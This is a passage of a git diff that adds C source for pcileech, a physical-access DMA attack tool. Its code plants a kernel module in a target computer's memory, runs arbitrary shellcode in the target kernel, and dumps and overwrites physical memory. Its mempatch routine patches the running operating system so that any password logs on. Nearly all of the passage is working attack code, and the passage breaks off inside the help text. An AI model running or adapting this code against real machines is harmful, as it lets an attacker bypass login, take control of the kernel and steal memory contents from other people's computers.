+ } + DeviceWriteDMA(pDeviceData, *pdwPhysicalAddress + 0x1000, pSignature->chunk[4].pb, 4096); + if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { goto fail; } + pKMD->dwPageAddr32 = *pdwPhysicalAddress; + pKMD->status = (PKMDDATA)pKMD->pbPageData; + DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096); + //------------------------------------------------ + // 8: Retrieve physical memory range map and complete open action. + //------------------------------------------------ + if(!KMD_GetPhysicalMemoryMap(pCfg, pDeviceData, pKMD)) { + printf("KMD: Failed. Failed to retrieve physical memory map.\n"); + goto fail; + } + LocalFree(ph1); + LocalFree(ph2); + pDeviceData->KMDHandle = (HANDLE)pKMD; + if(pCfg->tpAction == KMDLOAD) { pCfg->qwKMD = pKMD->dwPageAddr32; } + return TRUE; +fail: + if(ph1) { LocalFree(ph1); } + if(ph2) { LocalFree(ph2); } + if(pKMD) { LocalFree(pKMD); } + return FALSE; +} + +BOOL KMDOpen_LoadExisting(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + PKMDHANDLE pKMD = NULL; + //------------------------------------------------ + // 1: Set up handle to existing shellcode + //------------------------------------------------ + if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { goto fail; } + pKMD->dwPageAddr32 = (DWORD)pCfg->qwKMD; + pKMD->status = (PKMDDATA)pKMD->pbPageData; + if(!DeviceReadDMARetryOnFail(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096)) { + printf("KMD: Failed. Read failed @ address: 0x%08x\n", pKMD->dwPageAddr32); + } + if(pKMD->status->MAGIC != 0x0ff11337711333377) { + printf("KMD: Failed. Not a valid KMD @ address: 0x%08x\n", pKMD->dwPageAddr32); + goto fail; + } + //------------------------------------------------ + // 2: Retrieve physical memory range map and complete open action. + //------------------------------------------------ + if(!KMD_GetPhysicalMemoryMap(pCfg, pDeviceData, pKMD)) { + printf("KMD: Failed. Failed to retrieve physical memory map.\n"); + goto fail; + } + pDeviceData->KMDHandle = (HANDLE)pKMD; + return TRUE; +fail: + if(pKMD) { LocalFree(pKMD); } + return FALSE; +} + +BOOL KMDOpen(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + if(pCfg->qwKMD) { + return KMDOpen_LoadExisting(pCfg, pDeviceData); + } else if(pCfg->qwCR3 || pCfg->fPageTableScan) { + return KMDOpen_PageTableHijack(pCfg, pDeviceData); // TODO: FIX HRESULT + } else { + return KMDOpen_MemoryScan(pCfg, pDeviceData); // TODO: FIX HRESULT + } +} + +VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + const DWORD CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT = 8192; + BOOL result; + PKMDEXEC pKmdExec = NULL; + PKMDHANDLE phKMD = pDeviceData->KMDHandle; + PBYTE pbBuffer = NULL; + PSTR szBufferText = NULL; + DWORD cbBufferText, cbLength, cbMaxBufferSize; + HANDLE hFile = NULL; + if(!phKMD) { + printf("EXEC: Failed. Retrieving page info requires an active kernel module (KMD). Please use in conjunction with the -kmd option only.\n"); + goto fail; + } + //------------------------------------------------ + // 1: Load KMD shellcode and commit to target memory. + //------------------------------------------------ + result = Util_LoadKmdExecShellcode(pCfg->szShellcodeName, &pKmdExec); + if(!result) { + printf("EXEC: Failed loading shellcode from file: '%s.ksh' ...\n", pCfg->szShellcodeName); + goto fail; + } + result = DeviceWriteDMAVerify(pDeviceData, (DWORD)phKMD->status->DMAAddrPhysical, pKmdExec->pbShellcode, (DWORD)pKmdExec->cbShellcode); + if(!result) { + printf("EXEC: Failed writing shellcode to target memory.\n"); + goto fail; + } + //------------------------------------------------ + // 2: Set up indata and write to target memory. + //------------------------------------------------ + cbMaxBufferSize = (DWORD)(phKMD->status->DMASizeBuffer - 0x100000) / 2; + phKMD->status->dataInExtraOffset = 0x100000; // 1MB + phKMD->status->dataInExtraLength = 0; + phKMD->status->dataInExtraLengthMax = cbMaxBufferSize; + phKMD->status->dataOutExtraOffset = 0x100000 + cbMaxBufferSize; + phKMD->status->dataOutExtraLength = 0; + phKMD->status->dataOutExtraLengthMax = cbMaxBufferSize; + memcpy(phKMD->status->dataIn, pCfg->qwDataIn, sizeof(QWORD) * 10); + memcpy(phKMD->status->dataInStr, pCfg->szInS, MAX_PATH); + memset(phKMD->status->dataOut, 0, sizeof(QWORD) * 10); + memset(phKMD->status->dataOutStr, 0, MAX_PATH); + if(pCfg->cbIn) { + if(pCfg->cbIn > cbMaxBufferSize) { + printf("EXEC: Failed writing data - more than %iMB is not supported.\n", cbMaxBufferSize / (1024*1024)); + goto fail; + } + result = DeviceWriteDMA(pDeviceData, (DWORD)(phKMD->status->DMAAddrPhysical + phKMD->status->dataInExtraOffset), pCfg->pbIn, (DWORD)((pCfg->cbIn + 0xfff) & ~0xfff)); + if(!result) { + printf("EXEC: Failed writing data to target memory.\n"); + goto fail; + } + phKMD->status->dataInExtraLength = pCfg->cbIn; + } + phKMD->status->dataInConsoleBuffer = 0; + phKMD->status->dataOutConsoleBuffer = 0; + //------------------------------------------------ + // 3: Execute! and display result. + //------------------------------------------------ + KMD_SubmitCommand(pDeviceData, phKMD, KMD_CMD_VOID); + result = KMD_SubmitCommand(pDeviceData, phKMD, KMD_CMD_EXEC); + if(!result) { + printf("EXEC: Failed sending execute command to KMD.\n"); + goto fail; + } + printf("EXEC: SUCCESS! shellcode should now execute in kernel!\nPlease see below for results.\n\n"); + printf(pKmdExec->szOutFormatPrintf, + phKMD->status->dataOutStr, + phKMD->status->dataOut[0], + phKMD->status->dataOut[1], + phKMD->status->dataOut[2], + phKMD->status->dataOut[3], + phKMD->status->dataOut[4], + phKMD->status->dataOut[5], + phKMD->status->dataOut[6], + phKMD->status->dataOut[7], + phKMD->status->dataOut[8], + phKMD->status->dataOut[9]); + //------------------------------------------------ + // 4: Display/Write additional output. + //------------------------------------------------ + if(phKMD->status->dataOutExtraLength > 0) { + // read extra output buffer + if(!(pbBuffer = LocalAlloc(LMEM_ZEROINIT, cbMaxBufferSize)) || + !DeviceReadDMA(pDeviceData, (DWORD)(phKMD->status->DMAAddrPhysical + phKMD->status->dataOutExtraOffset), pbBuffer, cbMaxBufferSize)) { + printf("EXEC: Error reading output.\n"); + goto fail; + } + // print to screen + cbLength = (DWORD)phKMD->status->dataOutExtraLength; + if(phKMD->status->dataOutExtraLength > CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT) { + printf("EXEC: Large output. Only displaying first %i bytes.\n", CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT); + cbLength = CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT; + } + if( CryptBinaryToStringA(pbBuffer, cbLength, CRYPT_STRING_HEXASCIIADDR, NULL, &cbBufferText) && + (szBufferText = (LPSTR)LocalAlloc(LMEM_ZEROINIT, cbBufferText)) && + CryptBinaryToStringA(pbBuffer, cbLength, CRYPT_STRING_HEXASCIIADDR, szBufferText, &cbBufferText)) { + printf("%s\n", szBufferText); + } + // write to out file + if(pCfg->szFileOut[0]) { + hFile = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + if(!hFile) { + printf("EXEC: Error writing output to file.\n"); + goto fail; + } + if(!WriteFile(hFile, pbBuffer, (DWORD)phKMD->status->dataOutExtraLength, &cbLength, NULL)) { + printf("EXEC: Error writing output to file.\n"); + goto fail; + } + printf("EXEC: Wrote %i bytes to file %s.\n", cbLength, pCfg->szFileOut); + } + } + //------------------------------------------------ + // 5: Call console redirection if needed. + //------------------------------------------------ + if(phKMD->status->dataInConsoleBuffer || phKMD->status->dataOutConsoleBuffer) { + ActionConsoleRedirect(pCfg, pDeviceData, phKMD->status->dataInConsoleBuffer, phKMD->status->dataOutConsoleBuffer); + } + printf("\n"); +fail: + LocalFree(pKmdExec); + LocalFree(pbBuffer); + LocalFree(szBufferText); + if(hFile) { CloseHandle(hFile); } +} \ No newline at end of file diff --git a/pcileech/kmd.h b/pcileech/kmd.h new file mode 100644 index 0000000..0006237 --- /dev/null +++ b/pcileech/kmd.h @@ -0,0 +1,55 @@ +// kmd.h : definitions related to operating systems kernel modules functionality. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#ifndef __KMD_H__ +#define __KMD_H__ +#include "pcileech.h" + +/* +* Try to execute a shellcode module in the target system kernel. This function +* requires a KMD to be loaded. The KMD is then used to load and execute the +* code supplied in the target system! +* -- pCfg +* -- pDeviceData +*/ +VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +/* +* Open a kernel module (KMD). This can be done in multiple ways as specified in +* the configuration data. +* -- pCfg +* -- pDeviceData +* -- return +*/ +BOOL KMDOpen(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +/* +* Close an active kernel module - perform various cleanup tasks, both on this +* system and the target system. +* -- pDeviceData +*/ +VOID KMDClose(_In_ PDEVICE_DATA pDeviceData); + +/* +* Read physical memory from the target system using an active KMD as a proxy. +* -- pDeviceData +* -- qwAddress = physical address in target system to read. +* -- pb = pre-allocated buffer to place result in. +* -- cb = length of data to read, must not be larger than pb. +* -- return +*/ +BOOL KMDReadMemory(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb); + +/* +* Write physical memory to the target system using an active KMD as a proxy. +* -- pDeviceData +* -- qwAddress = the physical address to write to in the target system. +* -- pb = bytes to write +* -- cb = number of bytes to write. +* -- return TRUE on success, otherwise FALSE. +*/ +BOOL KMDWriteMemory(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb); + +#endif /* __KMD_H__ */ \ No newline at end of file diff --git a/pcileech/memdump.c b/pcileech/memdump.c new file mode 100644 index 0000000..ae947d0 --- /dev/null +++ b/pcileech/memdump.c @@ -0,0 +1,248 @@ +// memdump.c : implementation related to memory dumping functionality. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "memdump.h" +#include "device.h" +#include "util.h" + +typedef struct tdFILE_WRITE_ASYNC_BUFFER { + HANDLE hFile; + BOOL isSuccess; + BOOL isExecuting; + DWORD cb; + BYTE pb[0x01000000]; // 16MB Data Buffer +} FILE_WRITE_ASYNC_BUFFER, *PFILE_WRITE_ASYNC_BUFFER; + +VOID MemoryDump_FileWriteAsync_Thread(PFILE_WRITE_ASYNC_BUFFER pfb) +{ + DWORD cbWritten; + pfb->isSuccess = WriteFile(pfb->hFile, pfb->pb, pfb->cb, &cbWritten, NULL); + pfb->isExecuting = FALSE; +} + +VOID MemoryDump_Read1M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE pbBuffer1M, _In_ QWORD qwBaseAddress, _Inout_ PPAGE_STATISTICS pPageStat) +{ + QWORD o, p; + // try read 1M in 128k chunks + for(o = 0; o < 0x00100000; o += 0x00020000) { + if((qwBaseAddress + o + 0x00020000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer1M + o, 0x00020000)) { + pPageStat->cPageSuccess += 32; + } else { + // try read 128k in 4k (page) chunks + for(p = 0; p < 0x00020000; p += 0x1000) { + if(!(qwBaseAddress + o + p + 0x1000 <= pCfg->qwAddrMax)) { + return; + } + if(DeviceReadMEM(pDeviceData, qwBaseAddress + o + p, pbBuffer1M + o + p, 0x1000)) { + pPageStat->cPageSuccess++; + } else { + pPageStat->cPageFail++; + } + } + } + } +} + +BOOL MemoryDump_Read16M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _Inout_ PPAGE_STATISTICS pPageStat) +{ + BOOL isSuccess[4] = { FALSE, FALSE, FALSE, FALSE }; + QWORD i, o, qwOffset; + // try read 16M + if((qwBaseAddress + 0x01000000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress, pbBuffer16M, 0x01000000)) { + pPageStat->cPageSuccess += 4096; + return TRUE; + } + // try read 16M in 4M chunks + for(i = 0; i < 4; i++) { + o = 0x00400000 * i; + isSuccess[i] = (qwBaseAddress + o + 0x00400000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer16M + o, 0x00400000); + } + // DMA mode + all memory inside scope + and all 4M reads fail => fail + if(!pDeviceData->KMDHandle && qwBaseAddress + 0x01000000 <= pCfg->qwAddrMax && !isSuccess[0] && !isSuccess[1] && !isSuccess[2] && !isSuccess[3]) { + pPageStat->cPageFail += 4096; + return FALSE; + } + // try read failed 4M chunks in 1M chunks + for(i = 0; i < 4; i++) { + if(isSuccess[i]) { + pPageStat->cPageSuccess += 1024; + } else { + qwOffset = 0x00400000 * i; + for(o = 0; o < 0x00400000; o += 0x00100000) { + MemoryDump_Read1M(pCfg, pDeviceData, pbBuffer16M + qwOffset + o, qwBaseAddress + qwOffset + o, pPageStat); + } + } + } + return TRUE; +} + +VOID MemoryDump_SetOutFileName(_Inout_ PCONFIG pCfg) +{ + SYSTEMTIME st; + if(pCfg->szFileOut[0] == 0) { + GetLocalTime(&st); + _snprintf_s( + pCfg->szFileOut, + MAX_PATH, + _TRUNCATE, + "pcileech-%x-%llx-%i%02i%02i-%02i%02i%02i.raw", + pCfg->qwAddrMin, + pCfg->qwAddrMax, + st.wYear, + st.wMonth, + st.wDay, + st.wHour, + st.wMinute, + st.wSecond); + } +} + +VOID ActionMemoryDump(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + PBYTE pbMemoryDump; + QWORD qwCurrentAddress; + BOOL result; + PAGE_STATISTICS pageStat; + PFILE_WRITE_ASYNC_BUFFER pFileBuffer; + // 1: Initialize + MemoryDump_SetOutFileName(pCfg); + pFileBuffer = LocalAlloc(LMEM_ZEROINIT, sizeof(FILE_WRITE_ASYNC_BUFFER)); + pbMemoryDump = LocalAlloc(0, 0x01000000); // 16MB Data Buffer + if(!pbMemoryDump || !pFileBuffer) { + printf("Memory Dump: Failed. Failed to allocate memory buffers.\n"); + return; + } + pFileBuffer->hFile = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + if(!pFileBuffer->hFile) { + printf("Memory Dump: Failed. Error writing to file.\n"); + return; + } + pFileBuffer->isSuccess = TRUE; + memset(&pageStat, 0, sizeof(PAGE_STATISTICS)); + pageStat.cPageTotal = (DWORD)((pCfg->qwAddrMax - pCfg->qwAddrMin + 1) / 4096); + pageStat.isAccessModeKMD = pDeviceData->KMDHandle ? TRUE : FALSE; + pageStat.szCurrentAction = "Dumping Memory"; + pageStat.qwTickCountStart = GetTickCount64(); + pCfg->qwAddrMin &= ~0xfff; + pCfg->qwAddrMax = (pCfg->qwAddrMax + 1) & ~0xfff; + // 2: start dump in 16MB blocks + qwCurrentAddress = pCfg->qwAddrMin; + while(qwCurrentAddress < pCfg->qwAddrMax) { + result = MemoryDump_Read16M(pCfg, pDeviceData, pbMemoryDump, qwCurrentAddress, &pageStat); + ShowUpdatePageRead(pCfg, qwCurrentAddress, &pageStat); + if(!result) { + printf("Memory Dump: Failed. Cannot dump any sequential data in 16MB - terminating.\n"); + goto cleanup; + } + // write file async + if(!pFileBuffer->isSuccess) { + printf("Memory Dump: Failed. Failed to write to dump file - terminating.\n"); + goto cleanup; + } + while(pFileBuffer->isExecuting) { + Sleep(0); + } + pFileBuffer->cb = (DWORD)min(0x01000000, pCfg->qwAddrMax - qwCurrentAddress); + memcpy(pFileBuffer->pb, pbMemoryDump, 0x01000000); + pFileBuffer->isExecuting = TRUE; + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MemoryDump_FileWriteAsync_Thread, pFileBuffer, 0, NULL); + // add to address + qwCurrentAddress += 0x01000000; + } + printf("Memory Dump: Successful.\n"); +cleanup: + if(pbMemoryDump) { + LocalFree(pbMemoryDump); + } + if(pFileBuffer) { + if(pFileBuffer->hFile) { + while(pFileBuffer->isExecuting) { + Sleep(0); + } + CloseHandle(pFileBuffer->hFile); + } + LocalFree(pFileBuffer); + } +} + +VOID ActionMemoryPageDisplay(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + BYTE pb[4096]; + CHAR ch[0x8000]; + DWORD cch = 0x8000; + QWORD qwAddr = pCfg->qwAddrMin & 0x0fffffffffffff000; + BOOL result; + printf("Memory Page Read: Page contents for address: 0x%016llX\n", qwAddr); + result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096); + if(!result) { + result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096); + } + if(!result) { + printf("Memory Page Read: Failed.\n"); + return; + } + CryptBinaryToStringA(pb, 4096, CRYPT_STRING_HEXASCIIADDR, ch, &cch); + printf("%s\n", ch); +} + +VOID ActionMemoryTestReadWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + BYTE pb1[4096], pb2[4096], pb3[4096]; + DWORD dwAddrPci32 = (DWORD)(pCfg->qwAddrMin & 0xfffff000); + DWORD i, dwOffset, dwRuns = 1000; + BOOL r1, r2; + if(pDeviceData->KMDHandle) { + printf("Memory Test Read: Failed. Memory test may not run in KMD mode.\n"); + return; + } + DeviceReadDMA(pDeviceData, dwAddrPci32, pb1, 4096); + // READ DMA + printf("Memory Test Read: starting, reading %i times from address: 0x%08x\n", dwRuns, dwAddrPci32); + DeviceReadDMA(pDeviceData, dwAddrPci32, pb1, 4096); + for(i = 0; i < dwRuns; i++) { + r1 = DeviceReadDMA(pDeviceData, dwAddrPci32, pb2, 4096); + if(!r1 || (dwOffset = Util_memcmpEx(pb1, pb2, 4096))) { + printf("Memory Test Read: Failed. DMA failed / data changed by target computer / memory corruption. Read: %i. Run: %i. Offset: 0x%03x\n", r1, i, (r1 ? --dwOffset : 0)); + return; + } + } + // WRITE DMA + printf("Memory Test Read: SUCCESS!\n"); + if(pCfg->tpAction == TESTMEMREADWRITE) { + dwRuns = 100; + printf("Memory Test Write: starting, reading/writing %i times from address: 0x%08x\n", dwRuns, dwAddrPci32); + for(i = 0; i < dwRuns; i++) { + Util_GenRandom(pb3, 4096); + r1 = DeviceWriteDMA(pDeviceData, dwAddrPci32, pb3, 4096); + r2 = DeviceReadDMA(pDeviceData, dwAddrPci32, pb2, 4096); + if(!r1 || !r2 || (dwOffset = Util_memcmpEx(pb2, pb3, 4096))) { + DeviceWriteDMA(pDeviceData, dwAddrPci32, pb1, 4096); + printf("Memory Test Write: Failed. DMA failed / data changed by target computer / memory corruption. Write: %i. Read: %i. Run: %i. Offset: 0x%03x\n", r1, r2, i, --dwOffset); + return; + } + } + DeviceWriteDMA(pDeviceData, dwAddrPci32, pb1, 4096); + printf("Memory Test Write: Success!\n"); + } +} + +VOID ActionMemoryWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + BOOL result; + if(pCfg->cbIn == 0) { + printf("Memory Write: Failed. No data to write.\n"); + return; + } + if(pCfg->cbIn >= 0x01000000) { + printf("Memory Write: Failed. Data too large: >16MB.\n"); + return; + } + result = DeviceWriteMEM(pDeviceData, pCfg->qwAddrMin, pCfg->pbIn, (DWORD)pCfg->cbIn); + if(!result) { + printf("Memory Write: Failed. Write failed (partial memory may be written).\n"); + return; + } + printf("Memory Write: Successful.\n"); +} \ No newline at end of file diff --git a/pcileech/memdump.h b/pcileech/memdump.h new file mode 100644 index 0000000..c0ada67 --- /dev/null +++ b/pcileech/memdump.h @@ -0,0 +1,46 @@ +// memdump.h : definitions related to memory dumping functionality. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#ifndef __MEMDUMP_H__ +#define __MEMDUMP_H__ +#include "pcileech.h" + +/* +* Dump physical memory to file. The USB3380 card may only dump the lower 4GB +* in default DMA mode due to hardware limitations. If a kernel module (KMD) is +* inserted in the target computer OS kernel all memory may be dumped. +* -- pCfg = configuration containing dump regions, file name and more info. +* -- pDeviceData +*/ +VOID ActionMemoryDump(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +/* +* Write data to the physical memory. The USB3380 may only write to the lower +* 4GB in default DMA mode due to hardware limitations. If a kernel module (KMD) +* is inserted in the target computer OS any kernel accessable memory can be +* written/updated. +* -- pCfg +* -- pDeviceData +*/ +VOID ActionMemoryWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +/* +* Tries to read a page 1000 times from the address specified in the min parameter +* in pCfg. If memory is changed the result will be flagged. +* After a read an optional 100 write/read cycles will be completed to test write. +* -- pCfg +* -- pDeviceData +*/ +VOID ActionMemoryTestReadWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +/* +* Print out the contents of the 1st readable page. The address specified in the +* min parameter in pCfg. +* -- pCfg +* -- pDeviceData +*/ +VOID ActionMemoryPageDisplay(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +#endif /* __MEMDUMP_H__ */ \ No newline at end of file diff --git a/pcileech/mempatch.c b/pcileech/mempatch.c new file mode 100644 index 0000000..5c7c823 --- /dev/null +++ b/pcileech/mempatch.c @@ -0,0 +1,84 @@ +// mempatch.c : implementation related to operating systems unlock/patch functionality. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "mempatch.h" +#include "device.h" +#include "util.h" + +HRESULT Patch_FindAndPatch(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwPgIdx) +{ + PBYTE pb; + DWORD pgIdx, i; + PSIGNATURE ps; + for(pgIdx = 0; pgIdx < cPages; pgIdx++) { + pb = pbPages + (4096 * pgIdx); + for(i = 0; i < cSignatures; i++) { + ps = pSignatures + i; + if(!ps->chunk[0].cb || memcmp(pb + ps->chunk[0].cbOffset, ps->chunk[0].pb, ps->chunk[0].cb)) { + continue; + } + if(ps->chunk[1].cb && memcmp(pb + ps->chunk[1].cbOffset, ps->chunk[1].pb, ps->chunk[1].cb)) { + continue; + } + memcpy(pb + ps->chunk[2].cbOffset, ps->chunk[2].pb, ps->chunk[2].cb); + *pdwPgIdx = pgIdx; + return S_OK; + } + } + return E_FAIL; +} + +VOID ActionPatch(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + SIGNATURE oSignatures[CONFIG_MAX_SIGNATURES]; + DWORD pgIdx, cSignatures = CONFIG_MAX_SIGNATURES; + QWORD qwAddrCurrent; + PBYTE pbBuffer16M = LocalAlloc(0, 0x01000000); + BOOL result; + HRESULT hr; + PAGE_STATISTICS pageStat; + // initialize / allocate memory / load signatures + qwAddrCurrent = pCfg->qwAddrMin ? pCfg->qwAddrMin : 0x100000; // no signature below 1MB + if(!pbBuffer16M) { return; } + memset(&pageStat, 0, sizeof(PAGE_STATISTICS)); + pageStat.cPageTotal = (pCfg->qwAddrMax - qwAddrCurrent + 1) / 4096; + if(!pageStat.cPageTotal) { + printf("Patch: Failed. Zero or negative memory range specified.\n"); + goto cleanup; + } + pageStat.isAccessModeKMD = pDeviceData->KMDHandle ? TRUE : FALSE; + pageStat.szCurrentAction = "Patching"; + pageStat.qwTickCountStart = GetTickCount64(); + result = Util_LoadSignatures(pCfg->szSignatureName, ".sig", oSignatures, &cSignatures, 3); + if(!result || !cSignatures) { + printf("Patch: Failed. Failed to load signature.\n"); + goto cleanup; + } + // loop patch / unlock + while(qwAddrCurrent < pCfg->qwAddrMax) { + result = DeviceReadMEM(pDeviceData, qwAddrCurrent, pbBuffer16M, 0x01000000); + if(result) { + pageStat.cPageSuccess += 4096; + ShowUpdatePageRead(pCfg, qwAddrCurrent, &pageStat); + hr = Patch_FindAndPatch(pbBuffer16M, 4096, oSignatures, cSignatures, &pgIdx); + if(SUCCEEDED(hr)) { + result = DeviceWriteMEM(pDeviceData, qwAddrCurrent + 4096 * pgIdx, pbBuffer16M + 4096 * pgIdx, 4096); + if(result) { + printf("Patch: Successful.\n You may enter any password to log on if an unlock signature was used.\n"); + } else { + printf("Patch: Failed. Write memory failed.\n"); + } + goto cleanup; + } + } else { + pageStat.cPageFail += 4096; + ShowUpdatePageRead(pCfg, qwAddrCurrent, &pageStat); + } + qwAddrCurrent += 0x01000000; + } + printf("Patch: Failed.\n"); +cleanup: + LocalFree(pbBuffer16M); +} \ No newline at end of file diff --git a/pcileech/mempatch.h b/pcileech/mempatch.h new file mode 100644 index 0000000..a6c8071 --- /dev/null +++ b/pcileech/mempatch.h @@ -0,0 +1,18 @@ +// mempatch.h : definitions related to memory patch / operating system unlock functionality. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#ifndef __MEMPATCH_H__ +#define __MEMPATCH_H__ +#include "pcileech.h" + +/* +* Patch the memory of the target system. This includes the unlock +* operating system functionality (remove password requirement). +* -- pCfg +* -- pDeviceData +*/ +VOID ActionPatch(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + +#endif /* __MEMPATCH_H__ */ \ No newline at end of file diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c new file mode 100644 index 0000000..cfbe944 --- /dev/null +++ b/pcileech/pcileech.c @@ -0,0 +1,348 @@ +// pcileech.c : implementation of core pcileech functionality. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "pcileech.h" +#include "cpuflash.h" +#include "device.h" +#include "memdump.h" +#include "mempatch.h" +#include "util.h" +#include "kmd.h" + +VOID ShowUpdatePageRead(_In_ PCONFIG pCfg, _In_ QWORD qwCurrentAddress, _Inout_ PPAGE_STATISTICS pPageStat) +{ + QWORD qwPercentTotal = ((pPageStat->cPageSuccess + pPageStat->cPageFail) * 100) / pPageStat->cPageTotal; + QWORD qwPercentSuccess = (pPageStat->cPageSuccess * 100) / pPageStat->cPageTotal; + QWORD qwPercentFail = (pPageStat->cPageFail * 100) / pPageStat->cPageTotal; + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + QWORD qwTickCountElapsed = GetTickCount64() - pPageStat->qwTickCountStart; + QWORD qwSpeedMBs = ((pPageStat->cPageSuccess + pPageStat->cPageFail) * 4 / 1024) / (1 + (qwTickCountElapsed / 1000)); + CONSOLE_SCREEN_BUFFER_INFO consoleInfo; + if(pCfg->fPageStat) { + GetConsoleScreenBufferInfo(hConsole, &consoleInfo); + consoleInfo.dwCursorPosition.Y -= 7; + SetConsoleCursorPosition(hConsole, consoleInfo.dwCursorPosition); + } + pCfg->fPageStat = TRUE; + printf( + " Current Action: %s \n" \ + " Access Mode: %s \n" \ + " Progress: %i / %i (%i%%) \n" \ + " Speed: %i MB/s \n" \ + " Address: 0x%016llX \n" \ + " Pages read: %i / %i (%i%%) \n" \ + " Pages fail: %i (%i%%) \n", + pPageStat->szCurrentAction, + pPageStat->isAccessModeKMD ? "KMD (kernel module assisted DMA)" : "DMA (hardware only) ", + (pPageStat->cPageSuccess + pPageStat->cPageFail) / 256, + pPageStat->cPageTotal / 256, + qwPercentTotal, + qwSpeedMBs, + qwCurrentAddress, + pPageStat->cPageSuccess, + pPageStat->cPageTotal, + qwPercentSuccess, + pPageStat->cPageFail, + qwPercentFail); +} + +VOID ShowListFiles(_In_ LPSTR szSearchPattern) +{ + WIN32_FIND_DATAA data; + HANDLE h; + CHAR szSearch[MAX_PATH]; + Util_GetFileInDirectory(szSearch, szSearchPattern); + h = FindFirstFileA(szSearch, &data); + while(h != INVALID_HANDLE_VALUE) { + data.cFileName[strlen(data.cFileName) - 4] = 0; + printf(" %s\n", data.cFileName); + if(!FindNextFileA(h, &data)) { + return; + } + } +} + +VOID ShowHelp() +{ + printf( + " PCILEECH COMMAND LINE REFERENCE \n" \ + " PCILeech can run in two modes - DMA (default) and Kernel Module Assisted (KMD)\n" \ + " KMD mode may be triggered by supplying the option kmd and optionally cr3 / pt.\n" \ + " If an address is supplied in the kmd option pcileech will use the already ins-\n" \ + " erted KMD. The already inserted KMD will be left intact upon exit. If the KMD\n" \ + " contains a kernel mode signature the kernel module will be loaded and then un-\n" \ + " loaded on program exit ( except for the kmdload command ). \n" \ + " KMD mode may access all memory. DMA mode may only access memory below 4GB. \n" \ + " General syntax: pcileech.exe [- ] ... \n" \ + " Valid commands and valid MODEs [ and options ]: \n" \ + " info DMA,KMD \n" \ + " dump DMA,KMD [ min, max, out ] \n" \ + " patch DMA,KMD [ min, max, sig ] \n" \ + " write DMA,KMD [ min, in ] \n" \ + " [command_module] KMD [ in, out, s, 0..9 ] \n" \ + " kmdload DMA [ pt, cr3 ] \n" \ + " kmdexit KMD \n" \ + " 8051start DMA,KMD [ in ] \n" \ + " 8051stop DMA,KMD \n" \ + " flash DMA,KMD [ in ] \n" \ + " pagedisplay DMA,KMD [ min ] \n" \ + " testmemread DMA [ min ] \n" \ + " testmemreadwrite DMA [ min ] \n" \ + " Valid options: \n" \ + " -min : memory min address, valid range: 0x0..0xffffffffffffffff \n" \ + " default: 0x0 \n" \ + " For memory accesses over 0xffffffff KMD must be loaded. \n" \ + " note that the address must be given in hexadecimal format. \n" \ + " -max : memory max address, valid range: 0x0..0xffffffffffffffff \n" \ + " default: 0xffffffff (4GB) in standard mode \n" \ + " default: actual memory size in KMD mode \n" \ + " For memory accesses over 0xffffffff KMD must be loaded. \n" 